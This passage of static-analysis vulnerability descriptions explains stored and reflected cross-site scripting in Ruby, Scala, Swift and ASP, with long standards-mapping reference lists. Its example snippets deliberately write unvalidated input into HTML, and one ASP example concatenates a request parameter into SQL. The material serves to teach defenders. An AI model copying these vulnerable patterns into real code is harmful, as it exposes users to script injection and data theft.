Alternative types of XSS may not come from a database, but other places of potential user input. The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 2: The following Ruby code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end


As in Example 1, the code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS, however please note that if using Rack::Request#params() as in Example 2, this sees both GET and POST parameters, so may be vulnerable to various types of attacks other than just having the malicious code appended to the URL.
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.ruby.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Play controller code segment reads an employee ID, eid, from a database query and displays it to the user.


def getEmployee = Action { implicit request =>

val employee = getEmployeeFromDB()
val eid = employee.id

if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] INJECT-3: XML and HTML generation requires care Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.scala.cross_site_scripting_persistent
Abstract
The method sends unvalidated data to a web browser which can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web page through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store while in the case of reflected XSS it is typically through user components, URL scheme handlers, or external notifications.


2. The data is included in dynamic content that is sent to a UIWebView component without being validated.


The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.



This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following code reads the contents of a UITextField and displays it to the user within a WKWebView:


...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...


The code in this example operates without issues if the text within inputTextField contains only standard alphanumeric text. If the text within inputTextField includes metacharacters or source code, then the input may be executed as code by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone provide input that can cause malicious code to run on their own device? The real danger is that an attacker may use email or social engineering tricks to lure victims into performing such actions. When this is successful, the victims unwittingly reflect the malicious content through the vulnerable web application back to their own devices. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 3: The following Swift code segment reads the text portion of a custom URL scheme which was passed to and invoked the application (myapp://input_to_the_application). The untrusted data in the URL is then used to render HTML output in a UIWebView component.


...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...


As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in HTTP content. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from a user-controllable UI component and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 3, a source outside the target application makes a URL request using the target application's custom URL scheme, and unvalidated data from the URL request subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.swift.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ASP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...


This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following ASP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..


As in Example 1, this code operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
